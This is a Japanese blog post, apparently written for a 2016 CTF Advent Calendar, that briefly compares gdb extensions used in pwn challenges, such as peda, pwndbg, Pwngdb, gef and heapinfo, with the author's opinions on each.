gdbを知ったCTFerが次に使うであろうPythonによる拡張機能が加わった高性能なgdbレジスタやスタック,PC付近の逆アセンブル表示などgdbより遥かに使いやすい,通常利用でもgdbよりこちらを使うべきではないかと思う.弱点は対応アーキテクチャx86,x86_64だけというところだと思っていたが,ARMに対応させるプラグイン GitHub - alset0326/peda-arm: GDB plugin peda for armもあるらしい. * 追記 GitHub - Charo-IT/peda_extension: Extension for PEDA

pwndbg

GitHub - pwndbg/pwndbg: Makes debugging suck less
まさにpwnのために作られたデバッガ.見た目もpedaっぽい感じ.

Pwngdb

GitHub - scwuaptx/Pwngdb: gdb for pwn
上と名前が似ているが別物.組み込まれているangelheapというheap可視化機能はわりと便利でpedaに組み込ませて使っている.

gef

GitHub - hugsy/gef: Multi-Architecture GDB Enhanced Features for Exploiters & Reverse-Engineers

ReversingやExploitのために作られたデバッガ.マルチアーキテクチャ(x86(64), ARM, AARCH64, MIPS, PowerPC, SPARCなど)に対応しているのが,とても強み.筆者がこれから乗り移ろうとしているデバッガ.個人的にはレジスタの値などが横にならんで表示されているのが良いが,関数の呼び出し時に引数が何かという表示がされていないのは少し残念.

heapinfo

GitHub - david942j/heapinfo: create an interactive memory info interface while pwn / exploiting
irbみたいな感じのheap関連のデバッガ.とりわけこれ単体で利用するかと言われたら微妙だけれどRubyでExploitを書いている筆者などからすると,うまく組み込めたら便利ではないかと思う.関連のツールとしてRuby用のpwntools GitHub - peter50216/pwntools-rubyがあり発展に期待している.

終わりに

正直CTF Advent Calendar2016の空いている日を埋めたいがために書いた記事なので中身がないのは許してほしい. しかし,とりわけデバッガについてまとめている記事などはなかったと思うので参考になれば幸いです. もっと面白いデバッガやプラグイン系があったら教えていただけると嬉しい.